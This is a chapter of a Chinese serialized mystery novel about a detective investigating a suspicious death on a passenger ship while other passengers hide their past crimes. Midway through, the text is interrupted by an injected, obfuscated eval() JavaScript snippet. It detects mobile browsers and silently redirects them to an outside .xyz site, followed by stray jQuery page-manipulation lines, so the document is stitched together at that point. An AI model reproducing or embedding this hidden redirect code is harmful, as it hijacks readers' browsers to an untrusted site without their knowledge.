璃奈移开目光,转头看向别处。
她想进去查看尸体,但是那个固执的船员一直在船尾舱的门口守着,不让她靠近。
而且,他察觉到了她准备翻窗进去的想法,又特意进去把窗户从里面锁上了。
他看起来不像是那种尽忠职守的人,毕竟白天上岗时间饮酒,这完全是一种不负责任的体现。
璃奈上下打量一番,那个船员又很不服气地瞪了过去,“这位小姐,这起案子可能涉嫌谋杀,船靠岸后,我们会请警方处理这起案子,请你不要到处炫耀你独特的好奇心。”
璃奈:“我只是想随便看一眼。”
彼得扬起下巴,拿鼻孔瞪着她,然后固执地说:“可以进去,除非你拿出警官证。”
璃奈:“你是想让我们这些乘客在接下来的几天和凶手一起度过吗?”
“死亡原因还没有确定下来,他很有可能是突发恶疾导致丧命,”彼得提了提裤腰带,继续说,“和他住在一起的旅客晚上没有听到任何动静,房间的门也是锁好的,没有人能悄无声息的潜入,他肯定是病发了,或者是自杀。总之,这件事跟你没有任何关系,你不要再妨碍我的工作了。”
璃奈无言以对。
黑泽时蓝走上前,轻声说:“彼得先生,这位小姐是医生,她或许可以帮上忙。”
莉迪亚跟在他身后,用余光留意着璃奈的举动,将手里的证明递给他,“为了旅客的安危,还是要检查一下,以防是传染病。”
“你们这些女人真是麻烦。”彼得看了一眼证件,将东西递给她,转过身用钥匙打开了舱门,“不许乱动死者。”
莉迪亚一只手捂住胸口,眼眶发红,颤声说:“我有些害怕,能让这位先生跟着我吗?”
小姑娘害怕尸体,这是一件很正常的事,完全可以体谅,彼得看了一眼黑泽时蓝,挥了挥手:“去吧,别搞破坏。”
莉迪亚低下头,等黑泽时蓝走进房间,才开始靠近尸体。
不过,她没有任何动作,脸上却露出神情惶恐无措抬着黑泽时蓝,一个足够让人心生怜惜的模样。
她在等着黑泽时蓝掀开白布,但过了两分钟的时间,他丝毫没有动作,莉迪亚无奈只能自己动手。
“面部、口唇、耳垂部位呈青紫色,不排除心力衰竭。”
她只是一个在校生,成绩不尽人意,但是初步的检查或许还可以。
想到这,她更加自信,“死者身上没有外伤,确实是死在昨天夜里。”
璃奈只能远远望着,然后转身离开。
黑泽时蓝面无表情地盯着看了一会儿,正要伸出手,彼得注意到这一举动,立即推开门,“可以了,都出来吧,一个尸体没什么可看的,别沾上晦气。”
莉迪亚也不想待在这里,轻声开口:“我们离开这儿吧。”
黑泽时蓝微微眯起眼睛。
片刻之后,两人离开房间,莉迪亚望了望四周,目光停留在柳条椅子上,“刚才坐在那里的人呢?”
黑泽时蓝:“什么人?”
“刚才有个女人坐在这里,”莉迪亚咬了下唇,眉头锁得很紧,“她很奇怪,从上船到现在,她就像个幽灵一样,让人感到害怕,而且,正常的女人应该对死人不会感兴趣吧?”
黑泽时蓝嘴角露出一点微笑,“你说的是。”
他比任何人都希望,夏目璃奈是个不正常的人,这样他就可以顺理成章的将她拖入地狱,纠缠到死。
莉迪亚:“希望她不会伤害我。”
午餐时间,很多人都会来餐厅用餐。
璃奈坐在一个角落里,靠着窗户望着一望无际的大海,尽量放空自己,避免思考。
她感觉那些退烧药完全没有起作用,璃奈现在浑身发烫,头也疼得厉害,当然,也有可能是刚才出了一身汗,站在外面吹海风的缘故。
一位穿着深靛蓝长裙的女人走到璃奈身边,礼貌的问道:“请问这里有人吗?”
璃奈尽量让自己的声音听起来自然一点:“没有。”
女人叹了口气,坐到她对面的位置,关切地问道:“你看起来很不舒服。”
璃奈转过头,看着对面那位头发花白的女人,低声回答:“还好。”
她身上的一度面料上绣着暗金色星芒纹路,照到阳光的时候纹路会在光线下流转。
女人倒了一杯桌上的红茶递给她,露出手腕上绕着的青铜手链,上面还挂着银色符文的小坠子,看起来很神秘,尤其是唇瓣上深色的唇釉。
她看懂了璃奈脸上的困惑,一脸温和的说:“黛西是我的名字,是个占卜师。”伦敦最有名得占卜师。
璃奈接过红茶,道了声谢:“夏目。”
黛西笑了笑,正准备和她闲聊几句,没想到两个人对视了一眼,如同噩梦惊醒,脸上顿时露出了不安和惊恐。
她低声问道:“方便把手伸出来吗?”
璃奈不知道她为何脸色骤变,犹豫了一下,还是照做了。
黛西双手捧着那只白皙纤细的手,闭上眼睛,似在与未知的力量触碰,她睁开眼又闭上,反复确认了几次,“我的占卜很准......”
璃奈好奇道:“您看出了什么?”
黛西轻轻放下她的手,脸上流露出痛苦的神色,“这片大海......会带走你。”
她说得很委婉,也很浪漫,可惜,这句话预示着死亡。
一阵海风吹进来,掀起白色的窗帘,一缕阳光照在璃奈的眼睑上。
黛西无力地摇了摇头,嗓音中满是悲怆,“我很抱歉。”
“没事。”璃奈勉强一笑,开始心不在焉地琢磨着那起案子。
她不信神佛,对自己的命运泰然处之,自然对这些话提不起兴趣。
黑泽时蓝从后面的船舱出来,一手端着餐盘放在桌上,推到璃奈面前,“这位小姐,你的午餐。”
香煎三文鱼和海鲜烩饭,还有一杯鲜榨的橙汁,她不记得船上的餐单有这两样菜品。
璃奈掀起眼皮,看了他一眼,呼吸一点一点地平和下来,平静地笑了笑。
黑泽时蓝不动声色将目光移向那个对面那个女人,问道:“这位女士,你看我的命数如何?”
“戾气缠身,它如同一道深不见底的沟壑,横亘在你与爱人之间。”黛西的嗓音有些发涩,摇了摇头,起身离开座位。
黑泽时蓝微微一笑。
璃奈觉得他的情绪有点不对劲,又想不出究竟是哪儿出了问题,她在他手背上轻轻一拍。
被触碰的那一瞬间,血管里的血液都开始骚动,黑泽时蓝喉咙动了一下,可能是受到了一些影响,但脸上又没有太多的表情,直接转身离开。
璃奈意识到他在生气。
而就在这时,过道里传来脚步声和说话声,一男一女两人正在聊刚才发生的案子。
“听船员说,那个男人是心脏病发作,你不用紧张了。”
“原来是突发恶疾,我以为是谋杀,甲板上有一群人说得可玄乎了。”
“以讹传讹罢了,你不要害怕,就算发生什么,我都会保护好你的。”
璃奈侧耳听了一会儿,拿起勺子,开始享用美食。
虽然不知道是在哪里学的,但他的手艺非常好,完全挑不出问题,可惜她现在实在没有胃口,没吃多少就放下的勺子。
莉迪亚忧心忡忡地去往那间屋子,手刚抬起来,猛然想起,自己应该把那个女人带回来。
她刚才一心想要拉拢一个局外人保护自己,居然忘了这件事,她又匆匆离开,下楼时正巧碰见了约翰。
约翰抬头望着她,不禁问道:“你去哪?”
莉迪亚深呼了一口气,慢吞吞地说:“我还没有找到那个女人。”
约翰迈上台阶绕过她,用略显冰冷的语调说:“先回去,我有个重要的发现。”
莉迪亚咬了下唇,很不情愿地跟了上去。
两人回到房间,约翰又看了一眼身后是否有人跟踪,这才锁上门。
奥德尔在这期间喝了半瓶红酒,浑身都是酒气,也许没有喝醉,但说话声音大了许多。
毫无教养,更不懂得尊重人。
埃米莉万分嫌弃,却又不能多说什么,他显然是个人品极烂的人,她不敢保证这个人会不会伤害她。
报纸上,经常说酗酒的男人大多会家暴女人,他的妻子跳楼很有可能是这个原因,反正她受不了,伴侣每天躺在床的另一侧,浑身散发着酒臭,还对她使用暴力。
约翰也倒了一杯酒,喝一口平复心情。
他说:“我刚才去了那个人的船舱,他叫阿姆斯特朗,三十九岁,荷兰人,睡在他对面的是希瑟,刚移居过来的比利时人,我问过了,他并不认识那个男人,两人上船之后除了简单的打过招呼,没有任何交流。”
说着,他从西装里拿出一个破旧的公文包放在桌上。
罗西拿过来,将里面的东西都倒出来。
发现里面除了几个橘子,手表,钥匙,水杯,还有一张卡片。
约翰难以置信地说:“那个女人居然是个侦探!”
埃米莉也感到震惊:“你是说那个年轻的女孩?”
奥德尔嗤笑一声,表情十分不屑,“她看起来很适合玩过家家的。”
罗西拿起那张卡片,意味不明地笑了一下,“黑手党成员,害死了一对母女,就在这艘船上。”
埃米莉目光微顿,语气很是惊诧:“听起来是个罪大恶极的人。”
约翰喝了一口酒,若有所思。
“我,我刚才去看了阿姆斯特朗的尸体,”莉迪亚微微哆嗦了一下,胆怯地说道,“如果那个人不是窒息而亡,那就可能是心脏病发作。”
约翰想了想,问:“我们需要把这个侦探拉入伙吗?”
“我觉得她更像是凶手,”埃米莉刻薄的说,“黑手党都是很残暴的。”
“侦探都喜欢独来独往,身上有很重的神秘感。”罗西说得漫不经心。
埃米莉压着嗓子怪腔怪调地说话:“听起来你很喜欢她。”
罗西挑了下眉,说:“你知道的可真多。”
埃米莉一时语塞,转身看向了别处。
莉迪亚小声问道:“有谁收到了约翰先生的卡片?”
埃米莉一愣,摊开手掌:“可能是我,但是我把那张卡片烧掉了,我以为那只是一场恶作剧。”
高傲又自负的有钱人确实能干出这种事,但又是什么让她改变了主意?莉迪亚:“那么,约翰先生,你能说一下吗?”
约翰苦笑了一下,解开身上的西装扣子,坐在沙发上,“这件事很简单,我在银行工作,经常会遇到一些股民,瓦尔德就是一个,不过他是个七十多岁的老头子,脑子有时候不灵活,他因为没有听我的话,自己将存在银行里的八万英镑投到股市赔了个干净,可以说是倾家荡产。”
莉迪亚对老人的遭遇有些好奇,“之后呢?”
约翰耸了耸肩膀,把真实的心虚掩盖过去:“我不清楚,他没再来过。”
“究竟是哪个疯子把我们这些无辜的人牵扯进来?”埃米莉脑中思绪起伏,有些受不了现在的境况,她感觉自己丈夫正藏在某处看着她,或者是身后。
“在场的各位谁是无辜的?”所有人都心照不宣,罗西打量着那群人,笑了笑,没有露出牙齿,“反正我不是。”
莉迪亚脸上的血色一点点褪去。
约翰后背也生出了冷汗,不由得打了一阵寒战。
他收到邀请函的同时还有一顶毛线制成的帽子,瓦尔德每次找他,都会带着那顶帽子,包括他堵在家门口痛哭的那天,他也戴着那顶帽子。
瓦尔德完全丧失了尊严,跪在地上恳求他把那笔给妻子治病的钱还回来,但这是不可能的,因为那笔钱已被他投入股市打水漂了。
他别无选择。但没想到的是,后来,两位老人在出租屋里服下安眠药自杀的事情就上了报纸。
“我们这样下去是没有答案的。”罗西站起身离开房间,不打算把时间浪费在这群废物身上。
靠着这群没脑子的人,他不可能找到钻石,或许那个女侦探还可以利用。
奥德尔吹了声口哨,也站起身,捡起地上的西装往外走。
莉迪亚双手握在一起不安地搅动着,看了一眼埃米莉,稍微弯了一下腰,也跟着离开了。
埃米莉心事重重,却装作轻松自在的模样:“我对这场游戏已经没了兴趣。”
等大家都离开房间,约翰立即从床底下翻出手提箱,将里面的帽子拿出来,然后打开窗户,用发抖的手将帽子扔到海里。
璃奈正巧看到这一幕,而约翰在情绪高度紧绷的状态并没有看到她,扔完东西,约翰赶紧把窗户关上,又拉上窗帘,璃奈收回目光,继续看着手里的报纸。
这艘船上的报纸很奇怪,可能是船员的大意,柜台上连三年前的报纸都在。
就这样,一个上午的时间,璃奈百无聊赖中,翻看了柜台上一半的报纸,而那个叫彼得的家伙,还在那里守着,完全没有懈怠的迹象,相反,她高烧不退,已经快要撑不住了。
璃奈正在想着,他可能是缺一杯掺了泻药的白兰地。
罗西从她身后走来,开口说道:“夏目小姐,感觉怎么样了?”
璃奈对此没有感到意外,她缓缓将手里的报纸翻开一页,礼貌地回了一句,“好多了,谢谢你的药。”
罗西站在一旁,和她保持一个舒适的社交距离,“夏目小姐就没有想过跟人合作?”
璃奈:“什么意思?”
“我们打开天窗说亮话,我知道你的身份,而你可能对其他人还不算了解,我可以把我现在知道的消息都告诉你,还可以帮你查案,”罗西笑了笑,“比如把那个船员支走。”
璃奈脸上没有流露出一点不合时宜的表情,只是没忍住轻轻地“唔”了一声。
见她这个反应,罗西嘴角的笑意更深,“怎么样,夏目小姐?”
璃奈放下手里的报纸看他。
罗西再一次环视了身遭,“还是说我们先去吃个午餐?”
璃奈:“我不会跟你合作。”
“没关系,我只是想知道真相,你查案的过程,可以完全不用理会我,我也会帮你。”罗西把刚才得到的消息都如实讲述了一遍,他没必要隐瞒,毕竟这件事跟他毫无关系,也不牵扯利益,而且鉴于这个姑娘很有趣,他还顺便说了一下卡片的事。
璃奈陷入了沉默。
对于黑手党和那件惨案,她并不否认,但这个幕后之人能查到她和黑手党有关联,确实不简单。
罗西好奇地问:“有什么要说的吗?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16265825|175791||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
璃奈若有所思地说:“如果按照上次凶手作案的规律,那么今天会有两个人丢了性命,你最好告诉那群人,休息时间锁好门窗。”
“我会的。”罗西信誓旦旦的说。
璃奈站起身,拿走桌上没看完的报纸,去往阿姆斯特朗的房间。
罗西一脸无奈又认真的表情,同时又觉得事情有点难办。
大抵是因为这间屋子没有停放尸体,所以只是锁起来,而那个对铺希瑟也只是搬到其他房间。
璃奈左右环顾,拿出口袋里的工具,听着铁丝在锁孔里转动,很快,门开了。
她走进房间,又把门关上,然后仔细检查了一下门窗,并没有发现外力破坏的痕迹,这样一来就不存在暴力入侵,只有拥有钥匙的船员能打开房间。
璃奈戴上手套,蹲下身,检查着阿姆斯特朗睡过的床铺,尤其是那个塞满棉花的枕头。
她闻了一下枕头的味道,上面又很重的汗臭味。
荷兰人继承了欧罗巴血统,民族的汗腺本身比较发达,这使得他们非常容易出汗,阿姆斯特朗确实在这里躺了一个晚上。
但她还是发现了一件奇怪的事,这个床铺的床单看上去没那么多的褶皱。
心脏病发作伴随烦躁、恐惧或者濒死感,希瑟睡得死没有听到动静,但不代表,阿姆斯特朗没有任何挣扎。
璃奈一只手撑着桌子起身,忽然感觉一阵强烈的眩晕。
-
用餐的时候,埃米莉显得心浮气躁,缇娅误以为她是在生气自己擅自跟着上了这艘船。
她小声安抚道:“抱歉,我是看你这几日脸色不怎么好,所以不放心才跟过来的,别太在意这件事了。”
埃米莉脸色灰白,一字一顿地说:“缇娅,你不明白。”
缇娅迟疑了一会儿,关切地问道:“你最近怎么了,方便和我说一下吗?”
埃米莉握着她的手吻了一下,低声说:“缇娅,我真的很爱你,但是我最近确实感到了压力。”
缇娅脸颊泛红,她的外表完美无缺,像是舞台上天生的女主角,“没关系,一切都会过去的,两人在一起便没什么可怕的。”
这句话曾是埃米莉安抚缇娅的话,那个时候,她死了丈夫,悲痛欲绝,连续一年时间都没能出演舞台剧。她沉浸在悲伤之中,埃米莉抓住机会,陪伴左右,在她喝醉酒的时候,说完这句话吻了她。
从那个时候,缇娅的心就属于她,并且甘愿为她付出一切,包括她丈夫留下的那笔丰厚的遗产。
如果,让缇娅知道,埃米莉就是害死她丈夫的凶手,缇娅还会包容她吗?
这只是以爱为名而犯下的罪,她只能这么告诉缇娅。
“谢谢你。”埃米莉深吸一口气,调整着自己的情绪,“我们回房间吧。”
缇娅点了点头。
就在两人要走出餐厅的时候,埃米莉看到转角架子上的东西,战战兢兢地倒吸一口气。
那是一张报纸,上面写了几个扭曲且鲜红的字,像血一样。
——罪恶终将受惩罚。
缇娅顺着她的目光望去,也感到吃惊。
那些字是用口红写的,和她上船后找不见的口红颜色一样。
“可能是孩子的恶作剧,埃米莉。”她说着,伸手去拿那张报纸。
可埃米莉却愤怒的将东西夺过来,并且揉烂撕碎扔在地上大步离开,缇娅愣在原地,过了好一会儿,才回过神来,赶忙把地上的垃圾收拾干净。
-
天色渐渐暗下来,莉迪亚用完晚饭后,回到房间,换上一套红色的长裙,她特意站在甲板上等着里昂露面。
这里的女士画着精致的妆容,高跟鞋搭配礼服,露出香肩,或者是后背,男士则是西装革履,搭配领带。
大家穿得很庄重,因为这里即将有个舞会。
莉迪亚喝了半杯红酒,在误会开始的半个小时,终于等到鱼儿上钩,“船上的服务生都很忙吗?”
黑泽时蓝垂眸看着她,脸上没有流露出不耐烦的表情,尽管他想把眼前这个人的脑袋拧下来。
可璃奈说接下来的几个小时,凶手一定会犯案,所以只能让他过来和这个女人打交道,如果有可疑人靠近,最好抓住他。
他说:“还好。”
莉迪亚头发在脑后高高地扎了一个马尾,胸脯高耸,看起来性感极了。
周围人已经微妙的察觉到了那种氛围,去往别处。
莉迪亚抿了下唇瓣,盯着他的脸看了一会儿,“你要喝点什么吗?”
黑泽时蓝凭着一米九几的身高,俯瞰甲板上一片攒动的人头,然后从服务生的托盘里拿了一杯冰茶。
莉迪亚好奇的问道:“你不喝酒?”
黑泽时蓝:“我不喜欢酒精的味道。”
对方看起来很冷漠,但是莉迪亚为了给自己寻找一个庇护,不会轻易放弃,她暧昧的笑了一下,“你有女朋友吗?”
黑泽时蓝:“没有。”
他现在只有一个能让他的血液为之沸腾的人。
莉迪亚用故作不在意的口吻说:“令人难以置信,你的身材相貌都很好。”
黑泽时蓝眼底掠过一抹玩味的笑意,心说,他也想发挥一下身材。
他不说话的时候有很重的冷感,莉迪亚挪动了一下身子,靠近他,“我们去别处逛逛?”
黑泽时蓝:“船上没什么值得观光的地方,只有甲板的还不错景色。”
“看来你真的没有和女人一起聊天的经验,”莉迪亚抿了一口红酒,“你对喜欢的女孩也这样吗?”
黑泽时蓝看了看腕表,俯视着她,停顿持续了很长一段时间,“你想说什么?”
莉迪亚呆呆地看着他,然后摇了摇头,注意到他的手掌缠着几圈纱布,一脸担忧地说:“我帮你包扎一下伤口吧,已经开始渗血了,伤口应该很深。”
黑泽时蓝只回给她两个字:“可以。”
就当打发时间了,反正都会愈合,他根本不在意。
这道伤口是他故意划的,可能是下手重了,稍微一用力就会流血,他本来是想借这个伤口看璃奈的反应,但计谋显然被看穿了,璃奈看到伤口不仅没有流露出心疼、怜惜的表情,反而还横了他一眼,好像在说“你是智障吗”。
这种把戏对她丝毫不起作用,他应该再想点其他的。
舞会还在继续,大家都跳得很尽兴。
莉迪亚也想参加,如果没有那张邀请函,她可能会在舞会上物色一个有钱的男朋友,她最喜欢在这种场合散发魅力了。
不过,还是性命更重要。
她更需要一个能保护她的男人,里昂就很合适,他可能没钱,但个子很高,身上也有结实的肌肉,如果有他在身边,藏在暗处的凶手也很难对她下手。
莉迪亚把他回到房间,从柜子里翻出医药包,先递给他一片止痛药。
黑泽时蓝没吃,趁她不注意藏在了口袋里,他坐在椅子上不动声色地打量着周围的环境,顺便也留意了一下窗外那道黑影。
然而他的伤口包扎的很敷衍,莉迪亚都看不下去了,她开始用酒精消毒,然后撒上了治疗外伤的药粉,再用纱布缠上,“伤口这么深,你是不是太不小心了?”
她包扎的很仔细。
黑泽时蓝说了一声谢谢。